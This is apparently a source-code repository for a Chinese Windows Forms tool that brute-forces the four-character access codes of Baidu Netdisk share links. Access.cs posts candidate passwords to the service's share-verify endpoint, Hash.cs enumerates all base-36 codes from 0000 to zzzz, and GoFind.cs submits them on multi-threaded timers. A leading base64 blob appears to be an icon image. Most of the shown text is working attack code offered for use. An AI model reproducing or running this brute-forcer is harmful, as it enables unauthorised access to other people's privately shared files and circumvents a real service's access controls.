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 m10LB/oAAAAASUVORK5CYII= ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Program.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; namespace zgcwkj { static class Program { /// /// 应用程序的主入口点。 /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Main()); } } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // 有关程序集的一般信息由以下 // 控制。更改这些特性值可修改 // 与程序集关联的信息。 [assembly: AssemblyTitle("百度网盘分享文件密码测试器")] [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("zgcwkj")] [assembly: AssemblyProduct("百度网盘分享文件密码测试器")] [assembly: AssemblyCopyright("Copyright © 2018")] [assembly: AssemblyTrademark("zgcwkj")] [assembly: AssemblyCulture("")] //将 ComVisible 设置为 false 将使此程序集中的类型 //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型, //请将此类型的 ComVisible 特性设置为 true。 [assembly: ComVisible(false)] // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")] // 程序集的版本信息由下列四个值组成: // // 主版本 // 次版本 // 生成号 // 修订号 // //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值, // 方法是按如下所示使用“*”: : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.8.0.4")] [assembly: AssemblyFileVersion("1.8.0.4")] ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/Resources.Designer.cs ================================================ //------------------------------------------------------------------------------ // // 此代码由工具生成。 // 运行时版本:4.0.30319.42000 // // 对此文件的更改可能会导致不正确的行为,并且如果 // 重新生成代码,这些更改将会丢失。 // //------------------------------------------------------------------------------ namespace zgcwkj.Properties { using System; /// /// 一个强类型的资源类,用于查找本地化的字符串等。 /// // 此类是由 StronglyTypedResourceBuilder // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen // (以 /str 作为命令选项),或重新生成 VS 项目。 [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// 返回此类使用的缓存的 ResourceManager 实例。 /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// 使用此强类型资源类,为所有资源查找 /// 重写当前线程的 CurrentUICulture 属性。 /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/Resources.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/Settings.Designer.cs ================================================ //------------------------------------------------------------------------------ // // 此代码由工具生成。 // 运行时版本:4.0.30319.42000 // // 对此文件的更改可能会导致不正确的行为,并且如果 // 重新生成代码,这些更改将会丢失。 // //------------------------------------------------------------------------------ namespace zgcwkj.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Properties/Settings.settings ================================================  ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/StaticClass.cs ================================================ using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Text; namespace zgcwkj { /// /// 静态类 /// public static class StaticClass { #region 静态字符串 /// /// 线程状态 /// public static bool status { get; set; } /// /// 目标连接 /// public static string url { get; set; } /// /// 存放的路径 /// public static string file { get; set; } #endregion #region 静态方法 /// /// Get请求 /// public static string HttpGet(string Url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); request.Method = "GET"; request.ContentType = "text/html;charset=UTF-8"; try { HttpWebResponse response = (HttpWebResponse)request.GetResponse(); StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); return retString; } catch (Exception e) { return e.Message; } } #endregion } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/TestPassword.csproj ================================================  Debug AnyCPU {AC42684F-60E0-464C-881D-B679DA8D8A7B} WinExe Properties zgcwkj TestPassword v4.0 512 AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 ico.ico Form Main.cs Main.cs ResXFileCodeGenerator Resources.Designer.cs Designer True Resources.resx True SettingsSingleFileGenerator Settings.Designer.cs True Settings.settings True ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 14 VisualStudioVersion = 14.0.23107.0 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Access.cs ================================================ using System; using System.IO; using System.Linq; using System.Net; using System.Text; namespace zgcwkj { /// /// 测试访问类 /// public class Access { string info = "";//唯一识别文件的值吧 CookieContainer cookie = new CookieContainer(); /// /// 实例测试类 /// /// 访问的链接 public Access(string url) { info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", ""); } /// /// 访问网页 /// /// public string Get() { return HttpGet("https://pan.baidu.com/share/init?" + info); } /// /// 提交密码 /// /// 密码 /// public string Post(string pwd) { DateTime time = DateTime.Now; DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0)); string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString(); string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA=="; string data = "pwd=" + pwd + "&vcode=&vcode_str="; return HttpPost(url, data); } /// /// 请求路径 /// /// 请求的路径 /// 返回请求的网页数据 private string HttpGet(string Url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); request.Method = "GET"; request.ContentType = "text/html;charset=UTF-8"; request.CookieContainer = cookie; try { HttpWebResponse response = (HttpWebResponse)request.GetResponse(); StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("utf-8")); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); return retString; } catch (Exception e) { return e.Message; } } /// /// 提交数据 /// /// 提交的路径 /// 提交的数据 /// 返回结果 private string HttpPost(string Url, string Data) { try { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; request.Referer = "https://pan.baidu.com/share/init?" + info; request.ContentLength = Encoding.UTF8.GetByteCount(Data); request.CookieContainer = cookie; request.Method = "POST"; Stream myRequestStream = request.GetRequestStream(); byte[] postBytes = Encoding.UTF8.GetBytes(Data); myRequestStream.Write(postBytes, 0, postBytes.Length); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); response.Cookies = cookie.GetCookies(response.ResponseUri); StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("utf-8")); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); return retString; } catch (Exception ex) { return ex.Message; } } } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/GoFind.cs ================================================ using System.IO; using System.Timers; namespace zgcwkj { public class GoFind { Main myMain;//主窗体 int StartValue = 0;//基值 int NumberValue = 0;//剩余次数 public GoFind(Main main, int start, int number, int interval) { myMain = main; StartValue = start; NumberValue = number; Timer timer = new Timer(interval); timer.Elapsed += new ElapsedEventHandler(_Timer); timer.Start(); } private void _Timer(object sender, ElapsedEventArgs e) { Timer timer = sender as Timer; if (NumberValue < StartValue || StaticClass.status) { timer.Stop(); } else { string password = Hash.Hash2Str(StartValue); Access access = new Access(StaticClass.url); myMain.ModifyStr(access.Post(password), password); StartValue = StartValue + 1; } } } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Hash.cs ================================================ using System; using System.Linq; using System.Text; using System.Collections.Generic; namespace zgcwkj { public static class Hash { //哈希类 36进制 //有效哈希[10000000,11679615] public static string Hash2Str(int hash) { string ret = ""; hash -= 10000000; while (hash > 0) { ret += Hash2Char(hash % 36); hash /= 36; } if (ret.Length == 3) ret += "0";//前导零 if (ret.Length == 2) ret += "00"; if (ret.Length == 1) ret += "000"; if (ret.Length == 0) ret += "0000"; return reverse(ret); } public static int Str2Hash(string str) { int ret = 0; ret += Char2Hash(str[0]) * 46656; ret += Char2Hash(str[1]) * 1296; ret += Char2Hash(str[2]) * 36; ret += Char2Hash(str[3]); ret += 10000000;//防止前导零 return ret; } private static int Char2Hash(char c) { if (c >= '0' && c <= '9') return c - '0'; else return c - 'a' + 10; } private static char Hash2Char(int hash) { if (hash >= 0 && hash <= 9) return (char)('0' + hash); else return (char)('a' + hash - 10); } private static string reverse(string str) { char[] arr = str.ToCharArray(); Array.Reverse(arr); return new string(arr); } } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Main.Designer.cs ================================================ namespace zgcwkj { partial class Main { /// /// 必需的设计器变量。 /// private System.ComponentModel.IContainer components = null; /// /// 清理所有正在使用的资源。 /// /// 如果应释放托管资源,为 true;否则为 false。 protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows 窗体设计器生成的代码 /// /// 设计器支持所需的方法 - 不要修改 /// 使用代码编辑器修改此方法的内容。 /// private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main)); this.btn = new System.Windows.Forms.Button(); this.txt_url = new System.Windows.Forms.Label(); this.text_url = new System.Windows.Forms.TextBox(); this.gb_1 = new System.Windows.Forms.GroupBox(); this.text_zxsd = new System.Windows.Forms.TextBox(); this.text_xczs = new System.Windows.Forms.TextBox(); this.txt_zxsd = new System.Windows.Forms.Label(); this.txt_xczs = new System.Windows.Forms.Label(); this.text_jsd = new System.Windows.Forms.TextBox(); this.text_ksd = new System.Windows.Forms.TextBox(); this.txt_jsd = new System.Windows.Forms.Label(); this.txt_ksd = new System.Windows.Forms.Label(); this.txt_ts = new System.Windows.Forms.Label(); this.gb_1.SuspendLayout(); this.SuspendLayout(); // // btn // this.btn.Font = new System.Drawing.Font("宋体", 14.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); this.btn.ForeColor = System.Drawing.Color.Red; this.btn.Location = new System.Drawing.Point(333, 48); this.btn.Name = "btn"; this.btn.Size = new System.Drawing.Size(139, 153); this.btn.TabIndex = 3; this.btn.Text = "进行搜查"; this.btn.UseVisualStyleBackColor = true; this.btn.Click += new System.EventHandler(this.btn_Click); // // txt_url // this.txt_url.AutoSize = true; this.txt_url.Location = new System.Drawing.Point(12, 17); this.txt_url.Name = "txt_url"; this.txt_url.Size = new System.Drawing.Size(65, 12); this.txt_url.TabIndex = 0; this.txt_url.Text = "目标地址:"; // // text_url // this.text_url.Location = new System.Drawing.Point(83, 13); this.text_url.Name = "text_url"; this.text_url.Size = new System.Drawing.Size(389, 21); this.text_url.TabIndex = 1; // // gb_1 // this.gb_1.Controls.Add(this.text_zxsd); this.gb_1.Controls.Add(this.text_xczs); this.gb_1.Controls.Add(this.txt_zxsd); this.gb_1.Controls.Add(this.txt_xczs); this.gb_1.Controls.Add(this.text_jsd); this.gb_1.Controls.Add(this.text_ksd); this.gb_1.Controls.Add(this.txt_jsd); this.gb_1.Controls.Add(this.txt_ksd); this.gb_1.Location = new System.Drawing.Point(12, 40); this.gb_1.Name = "gb_1"; this.gb_1.Size = new System.Drawing.Size(315, 161); this.gb_1.TabIndex = 2; this.gb_1.TabStop = false; this.gb_1.Text = "相关配置"; // // text_zxsd // this.text_zxsd.Location = new System.Drawing.Point(110, 55); this.text_zxsd.MaxLength = 4; this.text_zxsd.Name = "text_zxsd"; this.text_zxsd.Size = new System.Drawing.Size(186, 21); this.text_zxsd.TabIndex = 5; this.text_zxsd.Text = "200"; this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress); // // text_xczs // this.text_xczs.Location = new System.Drawing.Point(110, 20); this.text_xczs.MaxLength = 3; this.text_xczs.Name = "text_xczs"; this.text_xczs.Size = new System.Drawing.Size(186, 21); this.text_xczs.TabIndex = 4; this.text_xczs.Text = "100"; this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress); // // txt_zxsd // this.txt_zxsd.AutoSize = true; this.txt_zxsd.Location = new System.Drawing.Point(15, 58); this.txt_zxsd.Name = "txt_zxsd"; this.txt_zxsd.Size = new System.Drawing.Size(89, 12); this.txt_zxsd.TabIndex = 1; this.txt_zxsd.Text = "线程执行速度:"; // // txt_xczs // this.txt_xczs.AutoSize = true; this.txt_xczs.Location = new System.Drawing.Point(15, 23); this.txt_xczs.Name = "txt_xczs"; this.txt_xczs.Size = new System.Drawing.Size(65, 12); this.txt_xczs.TabIndex = 0; this.txt_xczs.Text = "线程总数:"; // // text_jsd // this.text_jsd.Location = new System.Drawing.Point(110, 125); this.text_jsd.MaxLength = 4; this.text_jsd.Name = "text_jsd"; this.text_jsd.Size = new System.Drawing.Size(186, 21); this.text_jsd.TabIndex = 7; this.text_jsd.Text = "zzzz"; // // text_ksd // this.text_ksd.Location = new System.Drawing.Point(110, 90); 